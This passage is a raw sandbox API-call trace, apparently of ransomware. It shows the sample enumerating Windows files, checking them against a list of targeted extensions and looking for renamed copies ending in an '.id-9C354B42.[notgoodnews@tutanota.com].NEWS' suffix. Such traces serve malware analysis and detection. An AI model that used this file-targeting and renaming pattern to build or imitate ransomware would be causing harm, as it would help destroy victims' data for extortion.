Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.478] lstrlenW (lpString=".doc") returned 4 [0199.478] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0199.478] lstrlenW (lpString=".docx") returned 5 [0199.478] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0199.478] lstrlenW (lpString=".pdf") returned 4 [0199.478] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0199.478] lstrlenW (lpString=".xls") returned 4 [0199.478] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0199.478] lstrlenW (lpString=".xlsx") returned 5 [0199.478] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0199.478] lstrlenW (lpString=".ppt") returned 4 [0199.478] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0199.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.479] lstrlenW (lpString=".zip") returned 4 [0199.479] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0199.479] lstrlenW (lpString=".rar") returned 4 [0199.479] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0199.479] lstrlenW (lpString=".bz2") returned 4 [0199.479] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0199.479] lstrlenW (lpString=".7z") returned 3 [0199.479] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0199.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.479] lstrlenW (lpString=".dbf") returned 4 [0199.479] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0199.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.479] lstrlenW (lpString=".1cd") returned 4 [0199.480] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0199.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.480] lstrlenW (lpString=".jpg") returned 4 [0199.481] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0199.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.481] lstrlenW (lpString=".doc") returned 4 [0199.481] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0199.481] lstrlenW (lpString=".docx") returned 5 [0199.481] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0199.481] lstrlenW (lpString=".pdf") returned 4 [0199.481] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0199.481] lstrlenW (lpString=".xls") returned 4 [0199.482] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0199.482] lstrlenW (lpString=".xlsx") returned 5 [0199.482] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0199.482] lstrlenW (lpString=".ppt") returned 4 [0199.482] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0199.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.482] lstrlenW (lpString=".zip") returned 4 [0199.482] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0199.482] lstrlenW (lpString=".rar") returned 4 [0199.482] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0199.482] lstrlenW (lpString=".bz2") returned 4 [0199.482] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0199.482] lstrlenW (lpString=".7z") returned 3 [0199.483] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0199.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.483] lstrlenW (lpString=".dbf") returned 4 [0199.483] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0199.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.483] lstrlenW (lpString=".1cd") returned 4 [0199.483] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0199.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0199.483] lstrlenW (lpString=".jpg") returned 4 [0199.483] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0199.484] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0199.484] lstrlenW (lpString="TipRes.dll.mui") returned 14 [0199.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0201.728] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=32768) returned 1 [0201.729] CloseHandle (hObject=0x29c) returned 1 [0201.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0201.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.730] lstrlenW (lpString=".doc") returned 4 [0201.730] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.730] lstrlenW (lpString=".docx") returned 5 [0201.730] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0201.730] lstrlenW (lpString=".pdf") returned 4 [0201.730] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.730] lstrlenW (lpString=".xls") returned 4 [0201.730] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.730] lstrlenW (lpString=".xlsx") returned 5 [0201.730] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0201.730] lstrlenW (lpString=".ppt") returned 4 [0201.730] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.731] lstrlenW (lpString=".zip") returned 4 [0201.731] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.731] lstrlenW (lpString=".rar") returned 4 [0201.731] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.731] lstrlenW (lpString=".bz2") returned 4 [0201.731] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.731] lstrlenW (lpString=".7z") returned 3 [0201.731] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.731] lstrlenW (lpString=".dbf") returned 4 [0201.732] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.732] lstrlenW (lpString=".1cd") returned 4 [0201.732] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.732] lstrlenW (lpString=".jpg") returned 4 [0201.732] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.733] lstrlenW (lpString=".doc") returned 4 [0201.733] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.733] lstrlenW (lpString=".docx") returned 5 [0201.733] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0201.733] lstrlenW (lpString=".pdf") returned 4 [0201.733] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.733] lstrlenW (lpString=".xls") returned 4 [0201.733] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.733] lstrlenW (lpString=".xlsx") returned 5 [0201.733] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0201.733] lstrlenW (lpString=".ppt") returned 4 [0201.733] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.734] lstrlenW (lpString=".zip") returned 4 [0201.734] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.734] lstrlenW (lpString=".rar") returned 4 [0201.734] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.734] lstrlenW (lpString=".bz2") returned 4 [0201.734] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.734] lstrlenW (lpString=".7z") returned 3 [0201.734] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.734] lstrlenW (lpString=".dbf") returned 4 [0201.734] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.734] lstrlenW (lpString=".1cd") returned 4 [0201.735] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0201.735] lstrlenW (lpString=".jpg") returned 4 [0201.735] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.735] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0201.735] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0201.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0201.736] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=3584) returned 1 [0201.736] CloseHandle (hObject=0x29c) returned 1 [0201.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0201.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.737] lstrlenW (lpString=".doc") returned 4 [0201.737] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.737] lstrlenW (lpString=".docx") returned 5 [0201.737] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0201.737] lstrlenW (lpString=".pdf") returned 4 [0201.738] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.738] lstrlenW (lpString=".xls") returned 4 [0201.738] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.738] lstrlenW (lpString=".xlsx") returned 5 [0201.738] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0201.738] lstrlenW (lpString=".ppt") returned 4 [0201.738] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.738] lstrlenW (lpString=".zip") returned 4 [0201.738] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.738] lstrlenW (lpString=".rar") returned 4 [0201.738] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.738] lstrlenW (lpString=".bz2") returned 4 [0201.738] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.739] lstrlenW (lpString=".7z") returned 3 [0201.739] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.739] lstrlenW (lpString=".dbf") returned 4 [0201.739] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.739] lstrlenW (lpString=".1cd") returned 4 [0201.739] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.739] lstrlenW (lpString=".jpg") returned 4 [0201.739] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.740] lstrlenW (lpString=".doc") returned 4 [0201.740] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.740] lstrlenW (lpString=".docx") returned 5 [0201.740] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0201.740] lstrlenW (lpString=".pdf") returned 4 [0201.740] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.740] lstrlenW (lpString=".xls") returned 4 [0201.740] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.741] lstrlenW (lpString=".xlsx") returned 5 [0201.741] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0201.741] lstrlenW (lpString=".ppt") returned 4 [0201.741] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.741] lstrlenW (lpString=".zip") returned 4 [0201.741] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.741] lstrlenW (lpString=".rar") returned 4 [0201.741] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.741] lstrlenW (lpString=".bz2") returned 4 [0201.741] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.741] lstrlenW (lpString=".7z") returned 3 [0201.741] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.741] lstrlenW (lpString=".dbf") returned 4 [0201.742] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.742] lstrlenW (lpString=".1cd") returned 4 [0201.742] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0201.743] lstrlenW (lpString=".jpg") returned 4 [0201.743] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.743] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0201.744] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0201.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0201.745] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=3584) returned 1 [0201.745] CloseHandle (hObject=0x29c) returned 1 [0201.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0201.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.746] lstrlenW (lpString=".doc") returned 4 [0201.746] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.747] lstrlenW (lpString=".docx") returned 5 [0201.747] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0201.747] lstrlenW (lpString=".pdf") returned 4 [0201.747] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.747] lstrlenW (lpString=".xls") returned 4 [0201.747] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.747] lstrlenW (lpString=".xlsx") returned 5 [0201.747] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0201.747] lstrlenW (lpString=".ppt") returned 4 [0201.748] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.748] lstrlenW (lpString=".zip") returned 4 [0201.748] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.748] lstrlenW (lpString=".rar") returned 4 [0201.748] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.748] lstrlenW (lpString=".bz2") returned 4 [0201.748] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.749] lstrlenW (lpString=".7z") returned 3 [0201.749] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.749] lstrlenW (lpString=".dbf") returned 4 [0201.749] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.749] lstrlenW (lpString=".1cd") returned 4 [0201.749] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.750] lstrlenW (lpString=".jpg") returned 4 [0201.750] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.750] lstrlenW (lpString=".doc") returned 4 [0201.751] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.751] lstrlenW (lpString=".docx") returned 5 [0201.751] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0201.751] lstrlenW (lpString=".pdf") returned 4 [0201.751] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.751] lstrlenW (lpString=".xls") returned 4 [0201.751] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.751] lstrlenW (lpString=".xlsx") returned 5 [0201.752] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0201.752] lstrlenW (lpString=".ppt") returned 4 [0201.752] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.752] lstrlenW (lpString=".zip") returned 4 [0201.752] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.752] lstrlenW (lpString=".rar") returned 4 [0201.752] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.752] lstrlenW (lpString=".bz2") returned 4 [0201.753] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.753] lstrlenW (lpString=".7z") returned 3 [0201.753] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.753] lstrlenW (lpString=".dbf") returned 4 [0201.753] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.754] lstrlenW (lpString=".1cd") returned 4 [0201.754] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0201.754] lstrlenW (lpString=".jpg") returned 4 [0201.754] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.755] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0201.755] lstrlenW (lpString="journal.dll") returned 11 [0201.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.908] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=1367552) returned 1 [0206.908] CloseHandle (hObject=0x308) returned 1 [0206.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0206.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.921] lstrlenW (lpString=".doc") returned 4 [0207.921] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.921] lstrlenW (lpString=".docx") returned 5 [0207.921] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0207.921] lstrlenW (lpString=".pdf") returned 4 [0207.921] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.921] lstrlenW (lpString=".xls") returned 4 [0207.921] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.921] lstrlenW (lpString=".xlsx") returned 5 [0207.921] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0207.921] lstrlenW (lpString=".ppt") returned 4 [0207.921] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.921] lstrlenW (lpString=".zip") returned 4 [0207.922] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.922] lstrlenW (lpString=".rar") returned 4 [0207.922] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.922] lstrlenW (lpString=".bz2") returned 4 [0207.922] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.922] lstrlenW (lpString=".7z") returned 3 [0207.922] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.922] lstrlenW (lpString=".dbf") returned 4 [0207.922] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.922] 